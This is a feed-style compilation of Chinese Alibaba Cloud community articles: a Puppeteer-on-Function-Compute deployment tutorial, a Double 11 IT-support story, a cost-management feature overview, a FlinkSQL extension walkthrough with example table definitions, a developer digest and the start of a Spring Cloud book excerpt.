        为了快速部署分布式 Puppeteer Web 应用,这里我们选择函数计算服务

        函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息参考

        有了函数计算服务,我们这里目标是搭建一个分布式应用,但做的事情其实很简单,那就是写好业务代码,部署到函数计算,仅此而已。

        使用函数计算后,我们的系统架构图如下:

        效果演示

        可以直接通过以下链接查看效果:

        https://1911504709953557.cn-hangzhou.fc.aliyuncs.com/2016-08-15/proxy/puppeteer-test/html2png/?url=https://www.aliyun.com/product/fc

        PS:第一次请求可能会有几秒的冷启动时间,通过使用预留模式可以完全去除冷启动,由于超出本文范围,这里不再阐述。

        搭建步骤步骤:

        整体流程如下图所示:

        其中,需要我们操作的只有 Fun Init、Fun Install 以及 Fun Deploy 命令,每个的步骤内容都会由这三个命令自动完成。

        1. 工具安装

        安装 Fun 工具: 
        建议直接从这里下载二进制可执行程序,解压后即可直接使用。下载地址

        安装 Docker: 
        可以按照这里介绍的方法进行安装。

        2. 初始化项目:

        通过 Fun 工具,使用下面的命令可以快速初始化一个 Puppeteer Web 应用的脚手架:

        fun init -n puppeteer-test http-trigger-node-puppeteer

        其中 -n puppeteer-test  表示初始化项目的目录名称, http-trigger-node-puppeteer  表示要使用的模板名称,可以省略该名称,省略后,可以从终端提示的列表中自行选择需要的模板。

        执行完毕后,可以看到如下的目录结构:

        .
        ├── index.js
        ├── package.json
        └── template.yml

        相比较于传统的 puppeteer 应用,这里仅仅多了一个 template.yml 文件,用于描述函数计算的资源。

        而 index.js 就是我们的业务代码了,可以按照 Puppeteer 官方帮助文档的要求书写自己的业务代码,这里不再重复阐述,核心代码如下:

        const browser = await puppeteer.launch({
          headless: true,
          args: [
            '--no-sandbox',
            '--disable-setuid-sandbox',
          ]
        });
        
        const page = await browser.newPage();
        await page.emulateTimezone('Asia/Shanghai');
        await page.goto('https://www.baidu.com', {
          'waitUntil': 'networkidle2'
        });
        
        await page.screenshot({ path: '/tmp/example', fullPage: true, type: 'png' });
        
        await browser.close();

        package.json 内容如下:

        {
          ... ...
          "dependencies": {
            "puppeteer": "^2.0.0"
          },
          ... ...
        }

        可以看到,在 package.json 中声明了 puppeteer 的依赖。这个也是我们使用 node 开发时的标准做法,并无特别之处。

        3. 一键安装依赖

        puppeteer 的安装,即使是在传统的 linux 机器上,也不是那么的轻松。因为 puppeteer 本身依赖了非常多的系统库,要安装哪些系统库、如何安装这些系统库成了一个比较头痛的问题。

        好在函数计算命令行工具 Fun 已经集成了 Puppeteer 的解决方案,只要 package.json 中包含了 puppeteer 依赖,然后使用 fun install -d 即可一键安装所有系统依赖。

        fun install -d

        4. 本地运行、调试函数

        Puppeteer 的本地运行、调试方法与这里介绍的完全一致,我们就不再重复介绍。我们这里只演示下运行效果:

        5. 一键部署应用

        基本上所有的 FaaS 平台为了减小应用的冷启动,都会设置代码包的限制,函数计算也不例外。而 puppeteer 自身已经达到了 350M 左右,连同其系统依赖已经达到了 450M。如何将 450M 体积的函数部署到 FaaS 平台是一个比较头痛而且繁琐的问题。

        函数计算的命令行工具 Fun 现在原生支持了这种大依赖部署(3.1.1 版本仅支持 node runtime)。不需要任何额外操作,仅仅执行 fun deploy:

        $ fun deploy

        fun 会自动完成依赖的部署。而当检测到打包的依赖超过了平台的限制时,会进入到配置向导,帮助用户自动化地配置。

        我们这里推荐的路径是当提示是否由 Fun 自动帮助 NAS 管理是,输入 yes,然后提示提示是否使用 NasConfig: Auto 自动处理 NAS 时,也选择是,之后就不需要做其他的事情,等待函数部署成功即可。

        如果有其他的需求,比如想使用自己已经存在的 NAS 服务,可以在提示使用 NasConfig: Auto 时,输入 no,这样就会进入到相应的流程。更详细的说明,请参考下面的 FAQ。

        FAQ

        在安装 puppeteer 时,Fun 都做了哪些事情?

        puppeteer 本身是一个 npm 包,它的安装是非常简单的,通过 npm install 即可。这里的问题在于,puppeteer 依赖了 chromium,而 chromium 又依赖一些系统库。所以 npm install 后,还会触发下载 chromium 的操作。这里用户经常遇到的问题,主要是:

        1. 由于 chromium 的体积比较大,所以经常遇到网络问题导致下载失败。
        2. npm 仅仅只下载 chromium,chromium 依赖的系统库并不会自动安装。用户还需要自行查找缺失的依赖进行安装。

        Fun 做的优化主要是:

        1. 通过检测网络环境,对于国内用户,会帮助配置淘宝 NPM 镜像实现加速下载的效果。
        2. 自动为用户安装 chromium 所缺失的依赖库。

        Fun 是如何把大依赖部署到函数计算的?不是有代码包大小的限制吗?

        基本上所有的 FaaS 为了优化函数冷启动,都会加入函数代码包大小的限制。函数计算也不例外。但是,Fun 通过内置 NAS(阿里云文件存储) 解决方案,可以一键帮用户创建、配置 NAS,并上传依赖到 NAS 上。而函数计算在运行时,可以自动从 NAS 读取到函数依赖。

        为了帮助用户自动化地完成这些操作,Fun 内置了一个向导(3.1.1 版本仅支持 node,后续会支持更多,欢迎 github issue 提需求),在检测到代码体积大小超过平台限制时,会提示是否由 Fun 将其改造成 NAS 的方案,整个向导的逻辑如下:

        1. 询问是否使用 Fun 来自动化的配置 NAS 管理依赖?(如果回答是,则进入向导,回答否,则继续发布流程)
        2. 检测用户的 yml 中是否已经配置了 NAS

          1. 如果已经配置,则提示用户选择已经配置的 NAS 存储函数依赖
          2. 如果没有配置,则提示用户是否使用 NasConfig: Auto 自动创建 NAS 配置

            1. 如果选择了是,则帮助用户自动配置 nas、vpc 资源。
            2. 如果选择了否,则列出用户当前 NAS 控制台上已经有的 NAS 资源,让用户选择
          3. 无论上面使用哪种方式,最终都会在 template.yml 生成 NAS 以及 VPC 相关的配置
          4. 根据语言检测,比如 node runtime,会将 node_modules 以及 .fun/root 目录映射到 nas 目录(通过 .nas.yml 实现)
          5. 自动执行 fun nas sync 帮用户把本地的依赖上传到 NAS 服务
          6. 自动执行 fun deploy,帮用户把代码上传到函数计算
          7. 提示帮助信息,对于 HTTP Trigger 的,提示函数的 Endpoint,直接打开浏览器访问即可看到效果

        是否可以指定 puppeteer 的版本?

        可以的,只需要修改 package.json 中的 puppeteer 的版本,重新安装即可。

        函数计算实例中的时区采用的 UTC,是否有办法改为北京时间?

        某些网页的显示效果是和时区挂钩的,时区不同,可能会导致显示的内容有差异。使用本文介绍的方法,可以非常容易的使用 puppeteer 的最新版本,而在 puppeteer 的最新版本 2.0 提供了一个新的 API page.emulateTimezone(timezoneId) , 可以非常容易的修改时区。

        如果 Puppeteer 后续版本更新后,依赖更多的系统依赖,本文介绍的方法还适用吗?

        Fun 内置了 .so 缺失检测机制,当在本地调试运行时,会智能地根据报错识别出缺失的依赖库,然后精准地给出安装命令,可以做到一键安装。

        如果添加了新的依赖,如何更新?

        如果添加了新的依赖,比如 node_modules 目录添加了新的依赖库,只需要重新执行 fun nas sync 进行同步即可。
        如果修改了代码,只需要使用 fun deploy 重新部署即可。由于大依赖和代码通过 NAS 进行了分离,依赖通常不需要频繁变化,所以调用的频率比较低,而 fun deploy 的由于没有了大依赖,部署速度也会非常的快。

        除了本文介绍的方法还有哪些方法可以一键安装 puppeteer?

        Fun 提供了非常多的依赖安装方式,除了本文介绍的将依赖直接声明在 package.json 中,然后通过 fun install -d 的方式安装外,还有很多其他方法,他们均有各自适用的场景:

        1. 命令式安装。比如 fun install -f functionName -p npm puppeteer 。这种安装方式的好处是即使对 fun 不了解的用户也可以傻瓜式的使用。
        2. 声明式安装。这种安装方式的好处是提供了类 Dockerfile 的体验,Dockerfile 的大部分指令在这里都是可以直接使用的。通过这种方式声明的依赖,可以通过直接提交到版本仓库。他人拉取代码后,也可以一键安装所有依赖。
        3. 交互环境安装。这种安装方式的好处是提供了类似传统物理机的安装体验。在交互环境中,大部分 linux 命令都是可以使用的,而且可以不断试错。

        总结

        本文介绍了一种比较简单易行地从零开始搭建分布式 Puppeteer Web 服务的方法。利用该方法,可以做到不需要关心如何安装依赖、也不需要关系如何上传依赖,顺滑地完成部署。

        部署完成后,即可享受函数计算带来的优势,即:

        • 无需采购和管理服务器等基础设施,只需专注业务逻辑的开发,可以大幅缩短项目交付时间和人力成本
        • 提供日志查询、性能监控、报警等功能快速排查故障
        • 免运维,毫秒级别弹性伸缩,快速实现底层扩容以应对峰值压力,性能优异
        • 成本极具竞争力
        ]]>
        听说了吗?阿里双11作战室竟1根网线都没有 Fri, 02 May 2025 09:39:04 +0800 image

        双11不光是购物狂欢节,更是对技术的一次“大考”,对于阿里巴巴企业内部运营的基础保障技术而言,亦是如此。

        回溯双11历史,这背后也经历过“小米加步枪”的阶段:作战室从随处是网线,交换机放地上的“一地狼藉”;到如今媲美5G的wifi网速,到现场却看不到一根网线;从当年使用商用AP(无线路由器),让光明顶双11当天断网一分钟,到全部使用阿里自研AP……阿里巴巴企业智能事业部工程师们提供的基础保障也在不断升级。

        媲美5G的Wifi网速 现场却看不到一根网线

        网络是办公基础。对于负责网络的企业智能工程师来说,虽然很多工作做在平时,但在双11期间的保障也丝毫不会松懈。

        为了确保阿里园区、猫晚现场、媒体中心、盒马门店等多地网络的顺滑体验,今年双11,从机房环境、接入层、骨干层和广域网端到端的整体网络稳定性得到全面提升,实现整体网络可用性。在人员密度和并发流量均创历史新高的同时,稳定支撑双11作战室各业务。

        作为阿里双11最高指挥部的“光明顶”采用自研AP进行分布式网络架构部署,现场Wifi网速可媲美5G,却看不到一根网线。工程师们在光明顶进行测速,用这里的网络下载标清版的20集《长安十二时辰》,只需要40秒。下电影更是秒秒钟的事情,大概也就是一个眨眼的瞬间吧。

        40G骨干可同时支撑数万名小二的在线办公,对于突发的直播、视频连线等大流量业务支撑也毫无压力。同时在线路监控分析领域还首次引入主动状态分析模块,提前对风险高危的模块或线路做出预警。

        image
        阿里巴巴企业智能自研AP

        语音切换大屏作战室装备持续升级

        在光明顶作战室内有一块30平方的大屏,承载了2019双11数字经济体作战指挥大屏系统。这是阿里巴巴数字经济体作战组织的技术、产品、服务串联起来的“作战指挥图”。
        今年,语音控制大屏的能力,也首次正式投入到双11作战中。

        不需再手动操作,只需通过天猫精灵、话筒等设备发出命令,即可实现大屏上不同数据纬度的切换,不同业务板块的展示,协同作战指挥台,随时查看各战队数据情况,下发指令。包括与全球不同地区作战室实现音视频连线,今年也可以通过语音来控制与切换,跟指挥部成员进行异地作战与沟通。

        image
        工程师正在通过天猫精灵切换数据大屏

        管够!数千名商家媒体感受阿里IT服务

        今年,来自华为、海尔等全球品牌的上千名代表组成的“商家千人团”以及全球媒体也入驻阿里巴巴,与阿里小二们并肩作战,为全球消费者服务。

        为了满足商家媒体,对电脑、IT配件突发的借用、使用需求,IT工程师们首次在媒体/商家中心增设IT服务台与自助领用柜。IT小哥在服务台提供电脑清洁、电脑问题排查等服务,自助领用柜内则配备了笔记本电脑、鼠标、键盘等物品,可以随到随领,随领随用。

        此外,还首次将5G信号搬到了阿里西溪园区现场作为网络保障。同时,视频连线、一键切屏、无线投屏等技术也让媒体和商家感受到了阿里的办公黑科技。

        image

        自研大盘再升级核心应用问题精准定位

        双11期间如何在第一时间定位员工应用与系统故障,企业智能的工程师们自研数据大屏可对核心应用进行观测。今年从业务全景、业务风险预警、核心应用服务、基础网络、核心系统水位等五层进行全面体系化升级,建立分层、高效、精细化的指挥体系,预警覆盖双11核心应用的所有故障点,可先于故障,做出处理。

        同时,工程师们还提前展开预案演练,围绕故障点,风险预警、预案、演练形成闭环,更加聚焦。确保企业智能在本次双11丝般顺滑,稳如磐石。

        网络信号无死角猫晚现场首次网络实时观测

        在晚会活动等人多现场,观众最担心的就是“网不好”。今年双11猫晚现场,阿里IT工程师首次联合移动、联通、电信三大运营商,对猫晚晚会现场的4G网络容量、性能、用户体验分区进行精准的可视化动态合屏展示。晚会现场网络支持超1.7万台的手机,并发11000+,4G总流量超3T。三大运营商的基站遥测和现场实际客户端拨测的上下行速率均超过10M,现场用户4G体感十分流畅,全程上网互动无卡顿,远超同类大型晚会。

        image

        同时,猫晚现场的核心网络采用自用+自研网络设备,对核心业务、优酷、手淘业务采用3线并发+4G灾备的策略,在线路成本下降原来一半以上,同时保证网络可用性没有任何降低。在核心机房、优酷推流、手淘直播区域独立部站,4G下载速率达到百兆。

        除了基础保障外,为了让小二们双11期间的工作更加便利,阿里巴巴企业智能事业部还连同行政部,为员工提供多样智能服务。

        智能服务员工一键求助、一键领取物资……

        “码上行政”可自动定位并推荐双11高频问题,为员工提供一键求助;“驿台驿阁”可一键领取备战物资和寄存;此外,“阿里访客小程序”提供的刷脸、身份证、二维码等多种入园验证方式,保障双11通行更便捷更安心;“活动平台”则可以根据双11作战室排班信息自动同步开通人脸门禁权限,保障安全。

        image

        大数据带来舒适园区环境体验

        此外,通过人、物、场大数据计算并决策园区空调、新风运行策略,保证小二们在舒适环境下迎战双11。在作战室中部署了环境传感器,可随时监测温湿度、CO2异常。

        而诸如园区安全、车辆通行、行政服务、环境能耗等情况,也通过行政数据指挥中心,清晰准确展示园区运行状况,全方位保障双11园区。

        内外小蜜48小时主动贴身服务

        阿里员工的智能办公助理“内外小蜜”,在双11期间为全国小二们,提供了包括衣食住行与IT支持相关的完整后勤保障信息超过12000服务人次,方便小二们随时查看。

        同时在10号、11号两天,针对不同园区的参战同学在三餐、加油站、回家、休息区等高频服务需求场景下提供贴身主动服务,及时精准地传递后勤保障信息。

        线上线下多渠道直播触达数万小二

        今年双11,通过阿里内部的内外直播,超4万名阿里小二在线观看了猫晚及双11相关直播,主播与小二在线弹幕实时互动,边看直播边加购物车。而在线下通过视联网直播技术,天猫晚会被送达到全球阿里园区的电视机,小二们可以在各个园区的电梯厅、食堂、工位观看猫晚。

        image

        此外,阿里小二们还通过内部平台“阿里内外”通过线上KickOff,首次创新引入“双11心愿锦囊”活动,用趣味许愿卡给身边的小伙伴们助力打气,社交化提升组织文化运营。通过内外消息图文滚动播报,实时了解双11前线业务资讯解读,即使大家分隔多地,也能一起感受到双11浓浓氛围。

        image
        阿里小二参与双11打卡许愿活动

        随着双11不断刷新的成交记录,背后的新消费的加速与升级。而创新技术也在新零售等新业务形态下发挥重要作用。

        彩屏电子价签首亮相大幅提升拣货效率

        部署于全国盒马门店的上百万个由阿里巴巴企业智能事业部自研的电子价签,通过秒级变价的能力,为盒马门店双11促销活动保驾护航。

        为应对线上线下大量订单的激增和配送效率问题,今年双11,新款彩屏价签也参加到了电子价签大家庭,同时带来“拣货辅助”和“活动提醒”功能。

        在有拣货任务时,拣货员只需远程按下“遥控器”,待拣货商品对应的电子价签就会亮起不同的颜色,引导拣货员快速找到目标,大大提升拣货效率。

        原来一个新人拣货员要通过一个月的培训,拣货速度才能比上一个熟手,但现在一周就够了。

        image

        现在,双11已经成为一项举世瞩目的“奇迹工程”,这背后是技术和技术人十年如一日地不知疲倦地向前奔跑。对于,阿里巴巴企业智能事业部的工程师们来说,每一年双11的技术创新不仅是支撑自身继续向前发展的重要保障,更是对“稳定”的极致要求。

        原文发布时间为:2019-11-25
        作者: 企业智能事业部
        本文来自云栖社区合作伙伴“阿里技术”,了解相关信息可以关注“阿里技术”。

        ]]>
        0元开通成本管家:自动导入、智能预测、精细化管理您的云成本 Fri, 02 May 2025 09:39:04 +0800 云时代对账单分析的强烈需求

        image.png

        对于传统的IT运维,通常上线机器,首先需要预估需求,然后申请预算,再发起采购单,等待采购完成,到最终上线,整个流程已经横跨几个月,甚至到1年。

        云时代的到来,云厂商巨大的资源池,保证任何客户任意时刻都有足够的资源使用。云资源具备随时可用,规模弹性,规格丰富的特征。客户可以一键创建出需要的机器和服务。把传统IT横跨几个月的流程缩短到了秒级别。俗话说兵马未动,粮草先行,云资源正是业务的粮草,云的弹性保障了业务的弹性。基于云,出现了一个个疯狂扩张的独角兽。云的出现重构了整个IT的基础设施,而作为传统IT一环的财务预算流程,也理所当然的被重构。

        image.png

        传统的预算制度,跟不上业务的快速发展。假如我们需要做一个活动,临时购买一部分机器,已经超出了预算的规划。只能事后统计追踪资源使用。云资源除了包年包月,还有按量付费。对按量付费的资源使用,更是超出了预算管理的能力。因此,对账单统计分析,整理清楚钱花在哪里,怎么优化费用,成为云时代的刚需。

        手工分析账单的痛点

        image.png

        通常手工分析账单怎么搞?首先从账单中心下载账单,有两种方式,一种写程序调用账单中心api,另一种手工下载csv。 数据再导入excel中进行分析。整个过程中,80%的时间在拉账单和对账。下载好账单之后,需要反复的核对金额,是否和账单中心显示的费用一致。如果有不一致的地方,要返工重新拉账单。拉取账单的工作,完全是脏活累活,重复性的劳动。账单维度、数据量一般比较大,用excel分析时,打开一个大文件都需要很长时间,更别说分析数据了。

        怎么解决这些痛点?借助于云上数据中台,实现自动化,智能化的账单分析。

        基于数据中台的账单分析

        image.png

        日志服务(SLS)推出了"成本管家"功能,一键开通后,自动从账单中心导入账单到日志库。日志服务是一个数据中台,提供时间序列数据的采集,存储,分析功能。账单正好是一种时间序列数据,借助数据中台的采集能力,无缝的采集账单数据,节省了财务分析人员的80%的脏活累活。使用户能够从低效的账单获取和整理工作中解放出来,精力专注于分析账单。

        成本管家所具备的功能:

        • 实时采集,账单产生一小时内传输到APP。
        • 定制报表,提供常见账单分析场景,每日自动发送报告。
        • 交互式分析,使用SQL分析数月账单,秒级可见结果。
        • 分析结果可以图形化展示,更加直观。
        • 机器学习算法,智能预测未来费用趋势,挖掘异常账单。
        • 自定义告警,实时发送异常账单到手机。
        • 自定义分析可保存到自定义报表。
        • 账单分析涉及的数据存储和分析功能,均免费。

        内置账单分析报表

        成本管家,内置了3张报表,分别是总览报表,明细报表,和优化建议。

        image.png

        总览报表:帮助用户直接分析当月,过去三个月的费用组成。预测未来的费用趋势,帮助用户合理规划未来的预算。

        image.png

        明细报表:分析每个产品的使用明细和趋势,同时分析出异常的账单时间点。

        ]]>
        Streamworks,基于扩展FlinkSQL实现流计算的源表导入、维表关联与结果表导出 Fri, 02 May 2025 09:39:04 +0800 Streamworks,袋鼠云基于SQL的流计算开发平台,其通过扩展FlinkSQL,实现FlinkSQL与界面化配置映射结合的方式,完成Kafka源数据的读入,并支持流数据与Mysql/Oracle/MongDB等数据源进行维表关联,将最终结果数据导出至Hbase/ES/Greenplum/Oracle/OceanBase等目标数据库,进行一站式的流数据开发。
        s1

        为什么扩展Flink-SQL?

        Flink 本身的SQL语法并不提供对接输入源和输出目的的SQL语法,数据开发在使用过程中需要根据其提供的API接口编写Source和 Sink,不仅需要了解FLink 各类Operator的API,还需要对各个组件的相关调用方式有了解(比如Kafka,Redis,Mongo、Hbase等),异常繁琐。并且在需要关联到外部数据源的时候Flink也没有提供SQL相关的实现方式,若数据开发直接基于原生的Flink SQL进行实时的数据分析,需要较大的额外工作量。

        袋鼠云的SteamWorks则聚焦于数据开发人员使用Flink SQL时专注于业务逻辑,只需要关心做什么,而不需要关心怎么做。研发团队对FlinkSQL进行了扩展,用户只需通过可视化配置,完成源表到导入、维表的关联、结果表的导出。

        扩展了哪些Flink相关SQL

        1.创建源表语句

        CREATE TABLE tableName(

        colName colType,
        ...
        function(colNameX) AS aliasName,
        WATERMARK FOR colName AS withOffset( colName , delayTime )

        )WITH(

        type ='kafka09',
        bootstrapServers ='ip:port,ip:port...',
        zookeeperQuorum ='ip:port,ip:port/zkparent',
        offsetReset ='latest',
        topic ='topicName',
        parallelism ='parllNum'

        );
        2.创建输出表语句

        CREATE TABLE tableName(

            colName colType,

            ...

            colNameX colType

        )WITH(

            type ='mysql',

            url ='jdbcUrl',

            userName ='userName',

            password ='pwd',

            tableName ='tableName',

            parallelism ='parllNum'

          );

        3.创建自定义函数;

        Create (scala|table) FUNCTION name WITH com.xx.xx
        4.维表关联语句;

        CREATE TABLE tableName(

            colName cloType,

            ...

            PRIMARY KEY(keyInfo),

            PERIOD FOR SYSTEM_TIME

        )WITH(

            type='mysql',

            url='jdbcUrl',

            userName='dbUserName',

            password='dbPwd',

            tableName='tableName',

            cache ='LRU',

            cacheSize ='10000',

            cacheTTLMs ='60000',

             parallelism ='1',

             partitionedJoin='false'

         );

         # 各个模块是如何翻译到Flink,进行数据处理

        1.如何将创建源表的SQL语句转换为Flink的operator

        Flink中表的都会映射到Table这个类。然后调用注册方法将Table注册到environment,StreamTableEnvironment.registerTable(tableName, table)。

        当前我们只支持kafka数据源。Flink本身有读取kafka 的实现类(FlinkKafkaConsumer09),所以只需要根据指定参数实例化出该对象,并调用注册方法注册即可。

        另外需要注意在Flink SQL经常会需要用到Rowtime、Proctime, 所以我们在注册表结构的时候额外添加Rowtime、Proctime。当需要用到rowtime的时候需要额外指定DataStream.watermarks(assignTimestampsAndWatermarks),自定义watermark主要做两个事情1:如何从Row中获取时间字段。 2:设定最大延迟时间。

        2.如何将创建的输出表sql语句转换为Flink的operator

        Flink输出Operator的基类是OutputFormat, 我们这里继承的是RichOutputFormat, 该抽象类继承OutputFormat,额外实现了获取运行环境的方法getRuntimeContext(), 方便于我们之后自定义metric等操作。

        我们以输出到Mysql插件Mysql-Sink为例。

        分两部分

        (1)将create table 解析出表名称,字段信息,mysql连接信息。

            该部分使用正则表达式的方式将create table 语句转换为内部的一个实现类。该类存储了表名称,字段信息,插件类型,插件连接信息。

        (2)继承RichOutputFormat将数据写到对应的外部数据源。

            主要是实现writeRecord方法,在mysql插件中其实就是调用jdbc 实现插入或者更新方法。

        3.如何将自定义函数语句转换为Flink的operator;

           Flink对udf提供两种类型的实现方式:

        继承ScalarFunction
        继承TableFunction
        需要做的将用户提供的jar添加到URLClassLoader, 并加载指定的class (实现上述接口的类路径),然后调用TableEnvironment.registerFunction(funcName, udfFunc);即完成UDF的注册。之后即可使用改定义的UDF;

        4.维表功能是如何实现的?

        流计算中一个常见的需求就是为数据流补齐字段。因为数据采集端采集到的数据往往比较有限,在做数据分析之前,就要先将所需的维度信息补全,但是当前Flink并未提供join外部数据源的SQL功能。

        实现该功能需要注意的几个问题

        (1)维表的数据是不断变化的

             在实现的时候需要支持定时更新内存中的缓存的外部数据源,比如使用LRU等策略。

        (2)IO吞吐问题

             如果每接收到一条数据就串行到外部数据源去获取对应的关联记录的话,网络延迟将会是系统最大的瓶颈。这里我们选择阿里贡献给flink社区的算子RichAsyncFunction。该算子使用异步的方式从外部数据源获取数据,大大减少了花费在网络请求上的时间。

        (3)如何将SQL 中包含的维表解析到Flink operator   

              为了从SQL中解析出指定的维表和过滤条件,使用正则明显不是一个合适的办法,需要匹配各种可能性,将是一个无穷无尽的过程。查看Flink本身对SQL的解析,它使用了calcite做为sql解析的工作。将sql解析出一个语法树,通过迭代的方式,搜索到对应的维表,然后将维表和非维表结构分开。

        s2

        通过上述步骤便可以通过Flink SQL完成常用的从kafka源表读取数据,join部数据源,并写入到指定的外部目标结构中,且袋鼠云开源了相关实现:https://github.com/DTStack/flinkStreamSQL

        Demo:Kafka流数据关联Oracle维表,写入PostgreSQL 。

        读取Kafka源数据:

        CREATE TABLE MyTable(

            name varchar,

            channel varchar,

            pv INT,

            xctime bigint,

            CHARACTER_LENGTH(channel) AS timeLeng

         )WITH(

            type ='kafka09',

            kafka.bootstrap.servers ='172.16.8.198:9092',

            kafka.zookeeper.quorum ='172.16.8.198:2181/kafka',

            kafka.auto.offset.reset ='latest',

            kafka.topic ='nbTest1,nbTest2,nbTest3',

            --kafka.topic ='mqTest.*',

            --patterntopic='true'

            parallelism ='1',

            sourcedatatype ='json' #可不设置

         );

        维表关联Oracle语句

        create table sideTable(

            channel varchar,

            info varchar,

            PRIMARY KEY(channel),

            PERIOD FOR SYSTEM_TIME

         )WITH(

            type='oracle',

            url='jdbc:oracle:thin:@xx.xx.xx.xx:1521:orcl',

            userName='xx',

            password='xx',

            tableName='sidetest',

            cache ='LRU',

            cacheSize ='10000',

            cacheTTLMs ='60000',

            cacheMode='unordered',

            asyncCapacity='1000',

            asyncTimeout='10000'

            parallelism ='1',

            partitionedJoin='false',

            schema = 'MQTEST'

         );

        --创建PostgreSQL输出表语句

        Greenplum、LibrA数据库写入方式与PostgreSQL类似

        CREATE TABLE MyResult(

            channel VARCHAR,

            info VARCHAR

         )WITH(

            type ='postgresql',

            url ='jdbc:postgresql://localhost:9001/test?sslmode=disable',

            userName ='dtstack',

            password ='abc123',

            tableName ='pv2',

            parallelism ='1'

         );

        --基于FlinkSQL进行Kafka流数据读入关联Oracle维表,并写入PostgreSQL的实现

        insert

        into

            MyResult

            select

                a.channel,

                b.info

            from

                MyTable a

            join

                sideTable b

                    on a.channel=b.channel

        ]]>
        写1行代码影响1,000,000,000人,这是个什么项目?| 开发者必读(103期) Fri, 02 May 2025 09:39:04 +0800

        最炫的技术新知、最热门的大咖公开课、最有趣的开发者活动、最实用的工具干货,就在《开发者必读》!

        每日集成开发者社区精品内容,你身边的技术资讯管家。


        每日头条

        写1行代码影响1,000,000,000人,这是个什么项目?

        不带钱不带卡,只带手机出门就能畅行无阻,这已是生活的常态。益普索发布的《2019第一季度第三方移动支付用户研究》报告显示,移动支付在手机网民中的渗透率高达95.1%,截至今年1月,支付宝全球用户数已经突破10亿。你或许每天都会打开支付宝,付款购物、领取权益、享受服务……但你或许不知道的是,在这个方便、快捷、智能化的APP背后,有一群年轻的技术人,用智慧和创新让它每天都变得更“聪明”一点。


        最强干货

        微服务架构四大金刚利器

        互联网应用发展到今天,从单体应用架构到SOA以及今天的微服务,随着微服务化的不断升级进化,服务和服务之间的稳定性变得越来越重要,分布式系统之所以复杂,主要原因是分布式系统需要考虑到网络的延时和不可靠,微服务很重要的一个特质就是需要保证服务幂等,保证幂等性很重要的前提需要分布式锁控制并发,同时缓存、降级和限流是保护微服务系统运行稳定性的三大利器。

        从P4到P9, 在马云家写代码到双11前端PM

        今年的双11已经是阿里资深前端技术专家舒文来阿里的第11年,从应届生到双11前端PM,他一路升级打怪,实现了岗位上从P4到P9的晋升。这第11届双11顺利结束之际,他把在阿里这些年的成长经历做一个总结和分享,希望你能在他的故事中得到些许启发。

        高精地图中地面标识识别技术历程与实践

        本文将主要介绍高德在高精地图地面标识识别上的技术演进,这些技术手段在不同时期服务了高精地图产线需求,为高德地图构建高精度地图提供了基础的技术保证。


        每天读本书

        开放下载! | 《新一代数字化转型白皮书》

        我们正在进入一个高速变革的时代,新技术的进展和中美关系的变化,进一步增大了商业环境的不确定性。传统的信息化和经典的战略观已经不能适应数字业态的需要。企业如何创新存活、如何突破业务增长的极限,成为了众多企业家关注的焦点问题。在数字化的商业形态和生产运营方式下,数据成为企业最核心的资产,必须设计出与数字化技术相匹配的战略模式和机制,才能保证数字化转型的成功。


        精品公开课

        阿里巴巴研发效能实践日——北京站

        阿里巴巴研发效能实践日是阿里巴巴研发效能部主办的线下沙龙活动品牌,活动将联合业内优质的社区、企业等,为大家带来研发效能的最新理念、方法以及最佳实践。

        本次研发效能实践日,由阿里云 Teambition 和全球领先的项目管理协会PMI联合主办,,我们为大家准备了4个主题演讲,期望能给你带来思维上的启发、并能实际应用到工作中。


        每日集成开发者社区精品内容,请持续关注开发者必读

        ]]>
        带你读《极简Spring Cloud实战》之一:微服务与Spring Cloud Fri, 02 May 2025 09:39:04 +0800 云计算与虚拟化技术丛书
        点击查看第二章
        点击查看第三章
        极简Spring Cloud实战
        image.png
        胡劲寒 编著
        第一篇

        基础服务篇

        本篇将为读者介绍微服务架构的演进过程,带领读者了解什么是微服务,为什么需要微服务,以及微服务与Spring Cloud之间是什么关系,为什么要选择Spring Cloud来实现微服务而不是市面上现存的其他解决方案。了解之后,相信读者会有自己的答案。

        第1章

        微服务与Spring Cloud

        本章将带领读者从服务端架构的演进历程开篇,描述服务端架构演进至微服务的必然,同时介绍实现微服务的最佳方式—Spring Cloud,并对Spring Cloud的组成及其同业对比的优势进行初步介绍。读者通过本章能够了解微服务是什么,以及Spring Cloud如何帮助技术开发人员快速实现微服务。

        1.1 架构演进

        1.1.1 服务端架构发展

        由于人们首先想到的是让两台或多台计算机相互通信,因此构思出了,如图1-1所示的简易通信模型。
        image.png
        互相通信的两个服务可以满足最终用户的一些需求。但这个示意图显然过于简单,缺少包括通过代码操作的字节转换和在线路上收发的电信号转换在内的多个层。虽然一定程度上的抽象对于讨论是必需的,但仍需添加网络协议栈(组件)以增加细节内容,如图1-2所示。
        image.png
        上述这个修改过的模型自20世纪50年代一直使用至今。一开始,计算机很稀少,也很昂贵,所以两个节点之间的每个环节都被精心制作和维护。随着计算机变得越来越便宜,连接的数量和数据量大幅增加。人们越来越依赖网络系统,工程师需要保证他们构建的软件能够达到用户所要求的服务质量。
        当然,还有许多问题急需解决以达到用户要求的服务质量。人们需要找到解决方案让机器互相发现,通过同一条线路同时处理多个连接,允许机器在非直连的情况下互相通信,通过网络对数据包进行路由、流量加密等。
        其中,有一种机制称为流量控制,下面以此为例。流量控制是一种防止一台服务器发送的数据包超过下游服务器可以承受上限的机制。这是必要的,因为在一个联网的系统中,至少有两台不同的、独立的计算机,彼此之间互不了解。计算机A以给定的速率向计算机B发送字节,但不能保证B可以连续地、以足够快的速度来处理接收到的字节。例如,B可能正在忙于并行运行其他任务,或者数据包可能无序到达,并且B可能被阻塞以等待本应该第一个到达的数据包。这意味着A不仅不知道B的预期性能,还可能让事情变得更糟,导致B过载,B现在必须对所有这些传入的数据包进行排队处理。
        一段时间以来,大家寄希望于建立网络服务和应用程序的开发者能够通过编写代码来解决上面提出的挑战。在这个流程控制示例中,应用程序本身必须包含某种逻辑来确保服务不会因为数据包的原因而过载。这种重联网的逻辑与业务逻辑一样重要。抽象示意图如图1-3所示。
        随着像TCP/IP这样的标准横空出世,流量控制和许多其他问题的解决方案被融入网络协议栈本身。这意味着这些流量控制代码仍然存在,但已经从应用程序转移到了操作系统提供的底层网络层,如图1-4所示。
